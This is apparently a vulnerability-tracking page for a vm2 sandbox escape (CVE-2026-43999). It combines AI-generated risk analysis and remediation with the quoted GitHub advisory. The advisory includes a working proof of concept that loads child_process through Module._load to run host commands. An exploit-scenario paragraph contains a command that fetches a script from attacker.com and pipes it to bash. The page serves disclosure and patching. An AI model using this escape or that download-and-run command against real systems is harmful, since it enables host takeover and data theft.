Skip to main content

vm2 CVE-2026-43999

CRITICAL
Incorrect Authorization (CWE-863)
2026-05-07 https://github.com/patriksimek/vm2 GHSA-947f-4v7f-x2v8
9.9
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit code to NodeVM sandbox
  2. Delivery
    Require 'module' builtin
  3. Exploit
    Call Module._load('child_process') in host context
  4. Execution
    Execute arbitrary OS commands
  5. Impact
    Establish persistence or exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target application to use vm2's NodeVM class with a builtin allowlist configuration that includes the module builtin, either explicitly via builtin: ['module'] or implicitly through wildcard expansion with builtin: ['*'] or builtin: ['*', '-other_module']. The vulnerability is triggered when the allowlist uses the wildcard pattern and does NOT explicitly exclude -module. This configuration is present in vm2's own documentation as a recommended pattern for allowing most builtins while blocking specific dangerous ones, making it widespread in production deployments. The attacker must have the ability to submit arbitrary code to the sandbox, which is the normal intended use case for vm2 (user scripts, plugins, webhooks, etc.). No special user interaction, non-default settings, or platform-specific conditions are required-the vulnerability works on all Node.js versions and operating systems where vm2 3.10.5 runs. Authentication to the sandbox is required (PR:L in CVSS), but this is inherent to vm2's purpose: the attacker needs access to submit code, which is the application's normal functionality. The ReadOnlyHandler's failure to override apply() is the limiting technical factor, but since this is vm2's default handler for non-special builtins, it affects all standard deployments. No external network requirements beyond the attacker's ability to reach the application's code submission endpoint.

Impact

This represents a critical real-world risk with multiple converging signals. The CVSS score of 9.9 accurately reflects the severity-the 'Scope Changed' metric captures the fundamental security boundary violation (sandbox to host escape). Attack complexity is genuinely Low (AC:L) because the vulnerable configuration ['*', '-child_process'] is explicitly documented in vm2's own usage examples and widely deployed by developers who reasonably believe it blocks dangerous modules. Privileges Required is Low (PR:L) because the attacker only needs normal sandbox access, which is the library's intended use case. The GitHub advisory provides a working proof-of-concept with detailed technical analysis including exact file paths and line numbers, eliminating ambiguity about exploitability. No EPSS data or KEV listing is available, suggesting this is a recently disclosed vulnerability without evidence of prior exploitation, but the PoC availability and clear attack path mean exploitation barriers are minimal. The technical impact is unambiguous: complete host compromise via child_process.execSync(). Risk is amplified by vm2's use case-sandboxing untrusted user code in multi-tenant platforms, plugin systems, and serverless environments where a sandbox escape equals full infrastructure breach. The existence of a patch (3.11.0) is positive, but organizations using vm2 for security isolation must treat this as an emergency patch deployment. No conflicting signals identified-all data points align on critical severity with high exploitation likelihood once the advisory becomes widely known.

Exploit ScenarioDerived

An attacker submits malicious plugin code to a SaaS platform that uses vm2 to isolate customer scripts. The platform's NodeVM configuration uses builtin: ['*', '-child_process', '-fs'] believing it blocks dangerous modules. The attacker's code requires the module builtin, calls Module._load('child_process') to bypass the allowlist, then executes child_process.execSync('curl attacker.com/exfil.sh | bash') to download and run a reverse shell on the host server. Because vm2's ReadOnlyHandler forwards the Module._load call directly to Node's native implementation without allowlist validation, the child_process module loads in the host context and grants full command execution. The attacker now has a foothold on the shared infrastructure and can pivot to other tenants' data. A working proof-of-concept demonstrating this exact attack chain is provided in the GitHub advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

vm2's NodeVM sandbox escape allows remote code execution when applications use the common builtin: ['*', '-child_process'] configuration pattern. An attacker with the ability to submit code to the sandbox can bypass the builtin allowlist by requiring the module builtin, then using Module._load() to load explicitly excluded modules like child_process in the host context. This directly leads to arbitrary command execution on the host system. The vulnerability affects vm2 version 3.10.5, with a vendor-released patch available in version 3.11.0. CVSS score of 9.9 reflects critical severity with network attack vector, low complexity, and scope change from sandbox to host. No public exploit code or active exploitation evidence identified at time of analysis.

RemediationAI

Immediately upgrade to vm2 version 3.11.0, which excludes the module builtin from wildcard expansion and prevents this sandbox escape. The upgrade path from 3.10.5 to 3.11.0 is documented in the GitHub advisory at https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8 and is available via npm update. If immediate patching is not feasible, implement the following compensating control: explicitly exclude the module builtin by changing configurations from builtin: ['*', '-child_process'] to builtin: ['*', '-child_process', '-module']. This workaround prevents attackers from accessing Module._load() but may break legitimate sandbox code that uses the module API for introspection. Test thoroughly as this changes the sandbox API surface. For defense in depth, run vm2 sandboxes in containers with restricted capabilities (no CAP_SYS_ADMIN), use seccomp filters to block dangerous syscalls, and implement resource limits via cgroups. Note that these OS-level controls do not prevent the sandbox escape itself but limit post-exploitation impact. Organizations should audit all vm2 usage to identify affected configurations and prioritize patching instances that process untrusted code from external users.

Affected Packages

npm vm2 fix: 3.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

vm2 is a Node.js sandbox library that isolates untrusted JavaScript code by wrapping Node's built-in modules with proxy handlers. The vulnerability stems from incorrect authorization (CWE-863) in lib/builtin.js where the module builtin-which exposes Node's native Module._load() function-receives only a generic ReadOnlyHandler wrapper instead of the specialized isolation applied to other sensitive builtins like events, buffer, and util. The ReadOnlyHandler prevents property mutation but inherits BaseHandler.apply() which directly forwards function calls to the host context without vm2 allowlist validation. When developers use the documented pattern builtin: ['*', '-child_process'] to allow all builtins except dangerous ones, the wildcard expansion includes module because it's not in the SPECIAL_MODULES exclusion list. Sandboxed code can then call Module._load('child_process') which executes in the host context, completely bypassing vm2's security boundary. The CPE identifier pkg:npm/vm2 confirms this affects the npm package ecosystem. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C indicates network-accessible attack with low complexity, low privileges (just the ability to submit code to the sandbox), no user interaction, and critically, a scope change representing the sandbox escape.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Red Hat 9.9 HIGH

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.

Severity

Critical (CVSS 3.1: 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network - sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: Low - no special conditions required; ['*', '-child_process'] is a common, documented pattern
  • Privileges Required: Low - attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed - escape from sandbox boundary to host system
  • Confidentiality Impact: High - arbitrary command execution on the host
  • Integrity Impact: High - arbitrary command execution on the host
  • Availability Impact: High - arbitrary command execution on the host

Affected Component

  • lib/builtin.js - makeBuiltinsFromLegacyOptions() (lines 109-117) - includes module in '*' expansion
  • lib/builtin.js - addDefaultBuiltin() (lines 86-90) - loads module with generic readonly wrapper
  • lib/builtin.js - SPECIAL_MODULES (line 61) - does NOT include module

CWE

  • CWE-863: Incorrect Authorization

Description

Root Cause: The module builtin provides unrestricted host module loading

When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:

js
// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s=>!s.startsWith('internal/'));

// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
    const def = builtins.indexOf('*') >= 0;
    if (def) {
        for (let i = 0; i < BUILTIN_MODULES.length; i++) {
            const name = BUILTIN_MODULES[i];
            if (builtins.indexOf(`-${name}`) === -1) {
                addDefaultBuiltin(res, name, hostRequire);
            }
        }
    }

Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.

The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:

js
// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
    if (builtins.has(key)) return;
    const special = SPECIAL_MODULES[key];
    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}

This wraps Node's Module class in a readonly proxy and hands it to the sandbox.

The readonly proxy does not prevent method calls

ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.

BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:

js
apply(target, context, args) {
    const object = getHandlerObject(this);
    let ret;
    try {
        context = otherFromThis(context);
        args = otherFromThisArguments(args);
        ret = otherReflectApply(object, context, args);
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
    return thisFromOther(ret);
}

So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.

Inconsistent defense: some builtins are isolated, module is not

The codebase IS aware that certain builtins need special handling:

  • events: Gets a complete sandbox-native reimplementation via lib/events.js
  • buffer: Custom loader that only exposes the Buffer class
  • util: Custom loader that replaces inherits with a sandbox-safe version

But module - which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. - gets no special treatment at all.

Full execution chain

  1. Host configures NodeVM with builtin: ['*', '-child_process']
  2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded)
  3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module')
  4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class
  5. Sandbox reads Module._load → BaseHandler.get() returns proxied function
  6. Sandbox calls Module._load('child_process') → BaseHandler.apply() forwards to host
  7. Host's Module._load loads child_process natively (no vm2 check involved)
  8. child_process module proxied back to sandbox
  9. Sandbox calls child_process.execSync('id') → executes on host → RCE

Proof of Concept

js
const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid - RCE achieved

Impact

  • Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['*', '-X'] patterns) can load ANY builtin, including explicitly excluded ones.
  • Remote code execution: Sandboxed code can execute arbitrary commands on the host via child_process.execSync.
  • Common configuration affected: The ['*', '-child_process', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones."
  • No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '*' wildcard.
  • Additional attack surfaces via module: Beyond _load, the Module class also exposes _resolveFilename, _cache, _pathCache, and other internals that could be abused.

Recommended Remediation

Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)

The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:

js
// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));

This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.

Option 2: Add module to SPECIAL_MODULES with a safe wrapper

If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:

js
// lib/builtin.js
const SPECIAL_MODULES = {
    events: { /* ... existing ... */ },
    buffer: defaultBuiltinLoaderBuffer,
    util: defaultBuiltinLoaderUtil,
    module: function defaultBuiltinLoaderModule(vm) {
        // Only expose safe, read-only metadata - no _load, no _resolveFilename
        return vm.readonly({
            builtinModules: [...nmod.builtinModules],
            // Omit _load, _resolveFilename, _cache, createRequire, etc.
        });
    }
};

Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 npm packages depend on vm2 (1 direct, 10 indirect)

Ecosystem-wide dependent count for version 3.10.5.

Executive ViewAI

Why It Matters

vm2 NodeVM sandbox escape (CVE-2026-43999) permits remote code execution on host systems when applications use the common builtin allowlist configuration, allowing attackers who submit code to the sandbox to execute arbitrary commands with host privileges. Organizations running vm2 3.10.5 or earlier face direct compromise of the underlying system, making this a critical threat to any application using vm2 for code isolation or multi-tenant execution environments.

Business Impact: Severe
Compensating Controls

Vendor-released patch: vm2 version 3.11.0. If immediate upgrade is not feasible, restrict network access to applications using vm2 to trusted sources only, disable user-submitted code execution capabilities, and implement network-level monitoring to detect command execution attempts from sandbox processes. However, these mitigations are temporary; patch deployment is mandatory.

Threat Intelligence Overview

EPSS Score
0.1%
Top 66% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/vm2
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy